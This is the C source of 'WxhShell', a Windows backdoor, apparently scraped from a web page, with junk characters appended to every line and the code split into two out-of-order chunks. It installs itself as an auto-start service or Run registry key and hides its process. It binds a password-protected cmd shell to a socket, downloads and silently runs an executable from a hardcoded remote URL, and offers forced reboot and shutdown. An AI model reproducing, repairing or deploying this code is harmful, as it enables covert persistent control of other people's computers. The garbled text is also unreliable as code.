    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [nYm-\M  
    else { O\~/J/u <  
    closesocket(wsh);  H8lh.K  
    ExitThread(0); h eR$j  
    } 7A,QA5G ]C  
    break; Bm e_#  
    } Ng Jp2ut  
  // 获取shell !<EQVqj6  
  case 's': { "J.7@\^ h/  
    CmdShell(wsh); 0aWy!d  
    closesocket(wsh); 5u:{lcC.X  
    ExitThread(0); 'nx";[6(  
    break; 'gD,H X  
  } DTx!# [  
  // 退出 - WEEnwZ  
  case 'x': { C<G`wXlP|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \gU=B|W  
    CloseIt(wsh); 178u4$# b  
    break; J$+K't5BZ  
    } iHYvH   
  // 离开 arQEi  
  case 'q': { SWq5=h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U%PII>s'#  
    closesocket(wsh); 7,v}Ap]Pa  
    WSACleanup(); .dE2,9{Z  
    exit(1); q@@C|oqEX  
    break; {hRM=f7  
        } 'F .tOD  
  } mh$Nwr/W:  
  } rzk-_AFR  
Cg]Iz< <bE  
  // 提示信息 yG/_k !{9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :~PzTUz  
} '#*5jn]CqB  
  } I_aS C4  
zZh\e,*  
  return; OS{j5o  
} um5n3=K  
bMjE@S&  
// shell模块句柄 Vmb `%k20'  
int CmdShell(SOCKET sock) F Cp\w1+  
{ QE\t}>  
STARTUPINFO si; q33Z.3R  
ZeroMemory(&si,sizeof(si)); YT@D*\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pkq?tm$#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I5$]{:L|9  
PROCESS_INFORMATION ProcessInfo; >P_/a,O8  
char cmdline[]="cmd"; "4Bk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?*K{1Ghf  
  return 0; $p?TE8G  
} 9~lC/I')t  
pIbm)-  
// 自身启动模式 v "Yo  
int StartFromService(void) [(d))(M$|  
{ w1q`  
typedef struct 84|oqwZO  
{ ,JVWn>s  
  DWORD ExitStatus; 'U|Tye i?  
  DWORD PebBaseAddress; gq`S`  
  DWORD AffinityMask; wBa IN]Y,  
  DWORD BasePriority; y$h.k"x`  
  ULONG UniqueProcessId; iQ7S*s+l5O  
  ULONG InheritedFromUniqueProcessId; !h[xeLlU  
}   PROCESS_BASIC_INFORMATION; tpQ?E<O  
5p]Cwj<u  
PROCNTQSIP NtQueryInformationProcess; KN\*|)  
mcgkNED  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %+F%C=GqI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #@^mA{Dt5  
B*c@w~E  
  HANDLE             hProcess; o)}M$}4  
  PROCESS_BASIC_INFORMATION pbi; :IB@@5r1  
\]7i-[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r}%2;!T  
  if(NULL == hInst ) return 0; O S%  
KO''B or  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +"8-)'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2]i>kV/,0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 552U~t  
Z+EN]02|  
  if (!NtQueryInformationProcess) return 0; !8ch&cr)o+  
eX0ASI9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  8-.jf  
  if(!hProcess) return 0; 6%Ws>H4@|  
A."]6R<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |OarE2  
Ku3/xcu:My  
  CloseHandle(hProcess); Ao}J   
5U[bn=n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R|OY5@  
if(hProcess==NULL) return 0; PS\n0  
N |nZf5{  
HMODULE hMod; ;mtv  
char procName[255]; 5<=ktA48[  
unsigned long cbNeeded; 'v?"TZ  
J~=tR1 k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |on$ )vm  
g$a 5  
  CloseHandle(hProcess); Rk(2|I  
%!HBPLk  
if(strstr(procName,"services")) return 1; // 以服务启动 0n('F  
@9ndr$t  
  return 0; // 注册表启动 # qPWJ  
} }bM=)eUfX  
n+qa/<  
// 主模块 lQ!)0F  
int StartWxhshell(LPSTR lpCmdLine) 2Ysl|xRo  
{ Q/u1$&1  
  SOCKET wsl; -ZKo/ N>6}  
BOOL val=TRUE; c*:H6(u  
  int port=0; T>e4Og"?  
  struct sockaddr_in door; rV6SN.  
~P5;k_&  
  if(wscfg.ws_autoins) Install(); ZlEH3-Zv  
@Q#<-/  
port=atoi(lpCmdLine); \&Bvh4Q  
m c q!_#{y  
if(port<=0) port=wscfg.ws_port; ^Ox|q_E w}  
VzZ'W[/7)B  
  WSADATA data; cq-UVk"Gl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JS{trqc1d  
X@cO`P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /ltGSl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8/oO}SLF  
  door.sin_family = AF_INET; ;E0aTV)Zp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B+Ox#[<75  
  door.sin_port = htons(port); i *9Bu;  
)e6)~3[^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~wl 4  
closesocket(wsl); yWkg4  
return 1; Wd78 bu|  
} c u:1|gt  
0g&#hW};[6  
  if(listen(wsl,2) == INVALID_SOCKET) { 64jFbbd-/  
closesocket(wsl); {iRXK   
return 1; 2zQ62t}  
} AFN"#M  
  Wxhshell(wsl); !`$xN~_  
  WSACleanup(); f:_mrzz  
K[/sVaPZ  
return 0; +#Q\;; FNP  
hCvK2Xu   
} pZUXXX  
?9I=XTR  
// 以NT服务方式启动 {P[>B}'rW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {@tqeu%IM  
{ dd&n>A3O=  
DWORD   status = 0; G+dQ" cI9  
  DWORD   specificError = 0xfffffff; 34e> R?J  
Xe:gH.}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q^c)T>OAI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5:r*em  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YA,vT[kX  
  serviceStatus.dwWin32ExitCode     = 0; nz%{hMNYH  
  serviceStatus.dwServiceSpecificExitCode = 0; `$hna{e^n  
  serviceStatus.dwCheckPoint       = 0; 0[SJ7k19  
  serviceStatus.dwWaitHint       = 0; ^xZo .P  
 +?I 1Og  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VGDds  
  if (hServiceStatusHandle==0) return; _${//`ia=  
m.|__L  
status = GetLastError(); _pZaVx  
  if (status!=NO_ERROR) #Y9'n0 AL  
{ S, g/2k*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y  c]  
    serviceStatus.dwCheckPoint       = 0; G,]%dZH e  
    serviceStatus.dwWaitHint       = 0; W:z?w2{VI(  
    serviceStatus.dwWin32ExitCode     = status; f5p:o}U*  
    serviceStatus.dwServiceSpecificExitCode = specificError; /xseI)y.B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G5K_e:i  
    return; p(J,fus  
  } bU+ z(Eg6  
ESQgN+llj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E/[<} ./  
  serviceStatus.dwCheckPoint       = 0; |5(< Vk=  
  serviceStatus.dwWaitHint       = 0; oI/jGyY;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h_{//W[  
} =Y;w O8  
gOnVN6  
// 处理NT服务事件,比如:启动、停止 e.<y-b?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qwz_.=5E6  
{ vi :IO  
switch(fdwControl) `VB]4i}u  
{ fsr0E=nV  
case SERVICE_CONTROL_STOP: &-s/F`  
  serviceStatus.dwWin32ExitCode = 0; ;K+'J0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9~FB^3Nz_  
  serviceStatus.dwCheckPoint   = 0; OB&lq.r  
  serviceStatus.dwWaitHint     = 0; .JG>/+  
  { sp VE'"^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :^Ouv1!e1  
  } EP ;TfWc}1  
  return; pjI< cQ&  
case SERVICE_CONTROL_PAUSE: \@ j YY~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `!t+sX- n  
  break; uBPxMwohR  
case SERVICE_CONTROL_CONTINUE: pO~lVM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @&7|Laa  
  break; |D ?}6z  
case SERVICE_CONTROL_INTERROGATE: 'W>Zr}:  
  break; p` '8M  
}; E(l'\q'.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8,(FJ7OCT,  
} /J-:?./  
0VOj,)K=  
// 标准应用程序主函数 _Coh11  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ki"o0u  
{ _ zh>q4M  
qg(rG5kD@  
// 获取操作系统版本 ~sd+ch*  
OsIsNt=GetOsVer(); e=]>TeqG0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &;D(VdSr9  
h.`U)6*?&N  
  // 从命令行安装 ?\eq!bu  
  if(strpbrk(lpCmdLine,"iI")) Install(); `k>h2(@9S  
quvdm68  
  // 下载执行文件 -@wnQ?  
if(wscfg.ws_downexe) { &vy/Vd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _B5t)7I  
  WinExec(wscfg.ws_filenam,SW_HIDE); ##6_kcL:6G  
} 7Z(F-B +j  
s /? &H-  
if(!OsIsNt) { G O=&  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pd,+= ML  
HideProc(); S @EkrC\4n  
StartWxhshell(lpCmdLine); YRkp(}*!\  
} v0ng M)^q  
else 0S{dnp  
  if(StartFromService()) E27N1J+1  
  // 以服务方式启动 jmcb-=ts  
  StartServiceCtrlDispatcher(DispatchTable); ~"Pu6-\VT  
else  QTN _Z#'  
  // 普通方式启动 ?Q~6\xA  
  StartWxhshell(lpCmdLine); /<HEcB  
I1H} 5 bf3  
return 0; A1zqm_X5)P  
} y11/:|  
C3H q&TVf/  
?a h<Qf]  
x<0-'EF/S  
=========================================== q+MV@8w  
hLVS}HE2  
reyN5n~4U  
x4PH-f-7  
e$k ]z HlQ  
%f{1u5+5  
" -XVC,.Ly  
T;eA<,H  
#include <stdio.h> )C @W_cfMN  
#include <string.h> |P_\l,f8`  
#include <windows.h> <&7KcvBn"4  
#include <winsock2.h> cT8`l!RD<  
#include <winsvc.h> 4T-9F  
#include <urlmon.h> -fl?G%:(!0  
#?xhfSgr  
#pragma comment (lib, "Ws2_32.lib") ;;zKHS  
#pragma comment (lib, "urlmon.lib") Lx-ofN\  
}w \["r  
#define MAX_USER   100 // 最大客户端连接数 dOm#NSJVd  
#define BUF_SOCK   200 // sock buffer ` Nn^   
#define KEY_BUFF   255 // 输入 buffer iOB]72dh  
U9D4bn D  
#define REBOOT     0   // 重启 <a-I-~  
#define SHUTDOWN   1   // 关机 UTEUVcJ\  
pV#~$e  
#define DEF_PORT   5000 // 监听端口 |bQX9|L  
Hno:"k?  
#define REG_LEN     16   // 注册表键长度 pV:c`1\`  
#define SVC_LEN     80   // NT服务名长度 mPNT*pAO  
_y}]j;e8>{  
// 从dll定义API Q 'R@'W9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vUGEzCM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *P_ 3A:_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^|@t2Rp@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \(t.|  
AL/q6PWi  
// wxhshell配置信息 .6%-Il  
struct WSCFG { [&n2 yt  
  int ws_port;         // 监听端口 Zx(VwB2   
  char ws_passstr[REG_LEN]; // 口令 *0)vsBi  
  int ws_autoins;       // 安装标记, 1=yes 0=no xrX^";}j  
  char ws_regname[REG_LEN]; // 注册表键名 %eCbH`  
  char ws_svcname[REG_LEN]; // 服务名 & ?mH[rG"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .__X- +^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?Kw~O"L8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /dpEL9K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  k%V#{t.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'c 0]8Y 4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'rJkxU{  
WjxO M\?#  
}; * B!uYP  
A-\OB Nh  
// default Wxhshell configuration !Q!= =*1H  
struct WSCFG wscfg={DEF_PORT, >3V{I'^^-  
    "xuhuanlingzhe", umrfA  
    1, ~:r:?PwWG  
    "Wxhshell", Jg=[!j0(  
    "Wxhshell", K1Ms  
            "WxhShell Service", w-l:* EV8  
    "Wrsky Windows CmdShell Service", mG2*s ^$  
    "Please Input Your Password: ", UD`bK a`E  
  1, >K$9 (  
  "http://www.wrsky.com/wxhshell.exe", "ewSh<t  
  "Wxhshell.exe" Sw<@u+Z;%  
    }; !6hUTjhW7z  
mGZ^K,)&OR  
// 消息定义模块 ?sV0T)uk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7Z0fMk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BtS#I[-p_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n>?o=_|uR  
char *msg_ws_ext="\n\rExit."; :B?C~U k  
char *msg_ws_end="\n\rQuit."; aMQfg51W:  
char *msg_ws_boot="\n\rReboot..."; +CL`]'~;E-  
char *msg_ws_poff="\n\rShutdown..."; LIYj__4=|  
char *msg_ws_down="\n\rSave to "; _oK*1#Rm8  
n}(/>?/  
char *msg_ws_err="\n\rErr!"; S%zn {1F  
char *msg_ws_ok="\n\rOK!"; :/ ,h)h)|  
c8!q_H~  
char ExeFile[MAX_PATH]; XlP q>@4p  
int nUser = 0; 5[3vu p?  
HANDLE handles[MAX_USER]; &@CcH_d*  
int OsIsNt; U_ELeW5@  
ygoA/*s  
SERVICE_STATUS       serviceStatus; -0rc4<};h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^$-ID6  
tQ=P.14>:  
// 函数声明 "J|{'k`  
int Install(void); rw(EI,G  
int Uninstall(void); d>[=]  
int DownloadFile(char *sURL, SOCKET wsh); |P!7T.  
int Boot(int flag); r:fMd3;gq  
void HideProc(void); zvjp]yTx"  
int GetOsVer(void); hKo& ZWPq  
int Wxhshell(SOCKET wsl); tnL$v2e6q  
void TalkWithClient(void *cs); ASA ]7qyO  
int CmdShell(SOCKET sock); _p0@1 s(U  
int StartFromService(void); vz'/]E  
int StartWxhshell(LPSTR lpCmdLine); %0 cFs'  
Zi'}qs$v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DJ)Q,l*|N9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <r 2$k"*:  
FI|jsO 3  
// 数据结构和表定义 ejs_ ?  
SERVICE_TABLE_ENTRY DispatchTable[] = wD+4#=/j  
{ (lPiv+'n  
{wscfg.ws_svcname, NTServiceMain}, ndW]S7  
{NULL, NULL} miWog8j  
}; "u29| OY  
v+\&8)W=  
// 自我安装 f_\,H|zco)  
int Install(void) O7DaVlln  
{ FFC"rG  
  char svExeFile[MAX_PATH]; Klr+\R@(n  
  HKEY key; hbfN1 "z  
  strcpy(svExeFile,ExeFile); LT+QW  
mf4C68DI@u  
// 如果是win9x系统,修改注册表设为自启动 AN)exU ?  
if(!OsIsNt) { 6l Suzu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ht`kmk;I)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Twq/Y07M  
  RegCloseKey(key); `IC2}IiF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mg pjC`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g/3t@7*<  
  RegCloseKey(key); PCqE9B)l  
  return 0; 4eD>DW  
    } B7QuSo//  
  } uv#."_Va  
} bX*>Zm   
else { n,Gvgf  
CpGy'Ia  
// 如果是NT以上系统,安装为系统服务 1@}s:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H@|h Nn$@  
if (schSCManager!=0) 1 r9.JS  
{ @1c[<3xJ T  
  SC_HANDLE schService = CreateService UiE 1TD{  
  ( eVRPjVzQ'Q  
  schSCManager, (JX 9c  
  wscfg.ws_svcname, wk9qyv<  
  wscfg.ws_svcdisp, @sPuc.  
  SERVICE_ALL_ACCESS, i:/Ws1=q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r)]8zK4;=  
  SERVICE_AUTO_START, fk5$z0/  
  SERVICE_ERROR_NORMAL, jA' 7@/F/  
  svExeFile, 8~!9bg6C  
  NULL, 9]4W  
  NULL, Rlwewxmr  
  NULL, gcI?)F   
  NULL, SoJ=[5W  
  NULL v\ <4y P  
  ); &x.n>O  
  if (schService!=0) [sc4ULS &  
  { YiGSFg  
  CloseServiceHandle(schService); &P:2`\'  
  CloseServiceHandle(schSCManager); v!WkPvU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'UFPQ  
  strcat(svExeFile,wscfg.ws_svcname); w l#jSj%pd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y'U]!c9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E'^$~h$  
  RegCloseKey(key); 0J z|BE3Y  
  return 0; 8#h~J>u.  
    } @Wl2E.)K;  
  } |T+YC[T#v  
  CloseServiceHandle(schSCManager); f?BApm  
} tO~o-R  
} L|y 9T {s  
u"5 hlccH  
return 1; LUKt!I0l  
} M $\!SXL  
LB\+*P6QM  
// 自我卸载 [J\! 2\Oo  
int Uninstall(void) OhiY <  
{ r"$~Gg.%(  
  HKEY key; b{(= C 3  
5J2tR6u-(  
if(!OsIsNt) { HLb`'TC3r+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K06x7W  
  RegDeleteValue(key,wscfg.ws_regname); Jq8:33s   
  RegCloseKey(key); X*< !_3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8dlhL8#  
  RegDeleteValue(key,wscfg.ws_regname); EXizRL-9o  
  RegCloseKey(key); Y*-dUJK-`  
  return 0; f5P@PG]{  
  } /L; c -^  
} |'!9mvt=  
} xz*MFoE  
else { \qw1\-q  
ftRzgW);  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V7)<MY  
if (schSCManager!=0) il~A(`+YO  
{ g93H l&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LB/1To  
  if (schService!=0) TFI$>Oz|  
  { rOTxD/  
  if(DeleteService(schService)!=0) { [;$9s=:[  
  CloseServiceHandle(schService); V]6CHE:BS  
  CloseServiceHandle(schSCManager); i'MpS  
  return 0; 4|/=]w  
  } 'M=V{.8U  
  CloseServiceHandle(schService); h"4i/L3aAh  
  } gT#hF]c:  
  CloseServiceHandle(schSCManager); SGUZ'}  
} NU(YllPB  
} 8^5@J) R8  
DpvMY94Qh  
return 1; Z3N^)j8  
} 8Uoqj=5F  
@!,W]?{  
// 从指定url下载文件 [w?v !8l  
int DownloadFile(char *sURL, SOCKET wsh) 0/fA>%&  
{ NflRNu:-  
  HRESULT hr; c+.?+g  
char seps[]= "/"; JB9s# `  
char *token; W3]?>sLE*  
char *file; O=\`q6l  
char myURL[MAX_PATH]; U$EQeb  
char myFILE[MAX_PATH]; PGJkQsp0  
9IJc9Sv(  
strcpy(myURL,sURL); ANlzF& K  
  token=strtok(myURL,seps); 0<u(!iL  
  while(token!=NULL) _&K>fy3t&  
  { fea4Ul{ib  
    file=token; wG",Obja  
  token=strtok(NULL,seps); r%vO^8FQ  
  } ?xYoCn}Z  
vhL/L?NB$  
GetCurrentDirectory(MAX_PATH,myFILE);  ^9 Pae)  
strcat(myFILE, "\\"); k'PNfx\K  
strcat(myFILE, file); Cd'K~Ch3  
  send(wsh,myFILE,strlen(myFILE),0); F~zrg+VDjL  
send(wsh,"...",3,0); hDD]Kc;G^1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;]Ko7M(4  
  if(hr==S_OK) N5Ih+8zT  
return 0; FSA"U9 w<  
else ' qN"!\  
return 1; K%3{a=1  
LseS8F/q  
} ;)'  
7"s8G 7  
// 系统电源模块 x|U[|i,;  
int Boot(int flag) k_](u91  
{ TA>28/U#  
  HANDLE hToken; -"/l)1ox,  
  TOKEN_PRIVILEGES tkp; n--w-1  
iU"{8K,  
  if(OsIsNt) { m 4V0e~]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $uCY\ xqZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w/Y6m.i1  
    tkp.PrivilegeCount = 1; S%2qX"8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i3U_G^8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H@V+Q}  
if(flag==REBOOT) { 97MbyEE8J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a:}&v^v  
  return 0; F9 2et<y.  
} sX|bp)Nw  
else { #({ 9M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T Y*uK  
  return 0; ,Ep41v;T%`  
} wfrSI:+>  
  } 6/l{e)rX2o  
  else { G ,? l o=m  
if(flag==REBOOT) { Vc?=cQ'c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y^9b>H\2  
  return 0; XWYLa8Ef  
} DY?;Z98P?  
else { {B)-+0 6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [FN4_  
  return 0; >Z!H9]f(  
} 6}^6+@LG  
} 6;%Ajx  
!1fAW! 8  
return 1; Olltu"u  
} >%Nqgn$V  
~-K<gT/  
// win9x进程隐藏模块 Nc[[o>/Cb  
void HideProc(void) kbKGGn4u  
{ dXewS_7  
8 rA'd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #Oq~ZV|<l  
  if ( hKernel != NULL ) 5#hsy;q;[  
  { U[WR?J4~LX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K f}h{X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >TB Rp,;r  
    FreeLibrary(hKernel); eO?@K$I  
  } +RN|ZG&  
I%gDqfdL  
return; 3,$G?auW  
} SVj4K \F  
'?j,oRz^T  
// 获取操作系统版本 \*.u (8~2o  
int GetOsVer(void) 5dem~YY5  
{ /IyCvo  
  OSVERSIONINFO winfo; ,V{Cy`bi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?TEdGe\*  
  GetVersionEx(&winfo); gaa;PX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t?6_^ 08  
  return 1; SRBQ"X[M2  
  else ("5Eed  
  return 0; 4M{]YZMw8  
} J sc`^a%`'  
F` "bMS  
// 客户端句柄模块 8@Hl0{q  
int Wxhshell(SOCKET wsl) CHo(:A.U>  
{ =BNS3W6  
  SOCKET wsh; {c\KiWN  
  struct sockaddr_in client; +tSfx  
  DWORD myID; jo ^+  
ds|L'7  
  while(nUser<MAX_USER) |T;NoWO+  
{ t,>j{SK~  
  int nSize=sizeof(client); A57e]2_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <$ oI  
  if(wsh==INVALID_SOCKET) return 1; t $yt8#Tk  
IolKe:'>@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [Adkj  
if(handles[nUser]==0) ,a1 1&"xl  
  closesocket(wsh); "{Jq6):mp  
else zy!mP  
  nUser++; "? t@Y  
  } >+8Kl`2sw;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AKkr )VgY  
JC}oc M j0  
  return 0; _8eN^oc%  
} wS%aN@ay3  
0b~{l;  
// 关闭 socket DS]C`aM9  
void CloseIt(SOCKET wsh) Zwxu3R_  
{ D^jyG6Ch  
closesocket(wsh); ~w9.}   
nUser--; xKW`m  
ExitThread(0); hfQx$cv6  
} rbD}fUg  
Z;4pI@ u  
// 客户端请求句柄 %\ef Mhn  
void TalkWithClient(void *cs) oM4Q_An  
{ _b(y"+k  
=i:6&Y~VGq  
  SOCKET wsh=(SOCKET)cs; e+ckn   
  char pwd[SVC_LEN]; f~{@(g&Gl  
  char cmd[KEY_BUFF]; vx&r  
char chr[1]; vbT,! cEm  
int i,j; ZN]LJ4|xu  
X5`#da  
  while (nUser < MAX_USER) { 4EtP|  
Q $5U5hb  
if(wscfg.ws_passstr) { B[Gl}(E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d5z?QI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .o?"=Epo  
  //ZeroMemory(pwd,KEY_BUFF); G*x"drP  
      i=0; JDA:)[;  
  while(i<SVC_LEN) { Nt^9N #+N  
RHOEyXhOA  
  // 设置超时 (ev(~Wc  
  fd_set FdRead; KNZN2N)wR  
  struct timeval TimeOut; *#n?6KqZ  
  FD_ZERO(&FdRead); k@i+gV%  
  FD_SET(wsh,&FdRead); *'q6#\#.  
  TimeOut.tv_sec=8; )n&@`>vm  
  TimeOut.tv_usec=0; {vL4:K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6JYVC>i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /v^1/i  
aOr'OeG(=e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3TS(il9A  
  pwd=chr[0]; xct{Tv[FO  
  if(chr[0]==0xd || chr[0]==0xa) { 'Lb- +X,  
  pwd=0; Hi{1C"%  
  break; %Gk?f=e  
  } SK @%r  
  i++; ee0)%hc1t  
    } I2R" Y<  
hCcAAF*I;5  
  // 如果是非法用户,关闭 socket jhN]1t /\X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `?H yDny  
} 5[py{Gq  
uN)o|7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NLz[ F`I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fA k]]PU  
XYM 5'  
while(1) { j m]d:=4_  
eA$wJ$*   
  ZeroMemory(cmd,KEY_BUFF); }eO{+{D +  
yX'f"*  
      // 自动支持客户端 telnet标准   #nv =x&g  
  j=0; TI9]v(  
  while(j<KEY_BUFF) { yi*2^??` 1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tlnU2TT_f  
  cmd[j]=chr[0]; XIAHUT5~J  
  if(chr[0]==0xa || chr[0]==0xd) { #Oeb3U  
  cmd[j]=0; +@ FM~q  
  break; Br,^4w[Hq  
  } zB?} {@  
  j++; `|Wu\X  
    } fXV+aZ  
[f?fA[, [  
  // 下载文件 xDU{I0M  
  if(strstr(cmd,"http://")) { Cmsg'KqqT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QQnpy.`:/  
  if(DownloadFile(cmd,wsh)) m!qbQMXn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *K<|E15 ,  
  else \x,q(npHi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |A'y|/)#Z  
  } &RzkM4"  
  else { TvbkvK  
$mV1K)ege  
    switch(cmd[0]) { su/!<y  
  ~^{jfHTlv  
  // 帮助 v*.[O/,EBR  
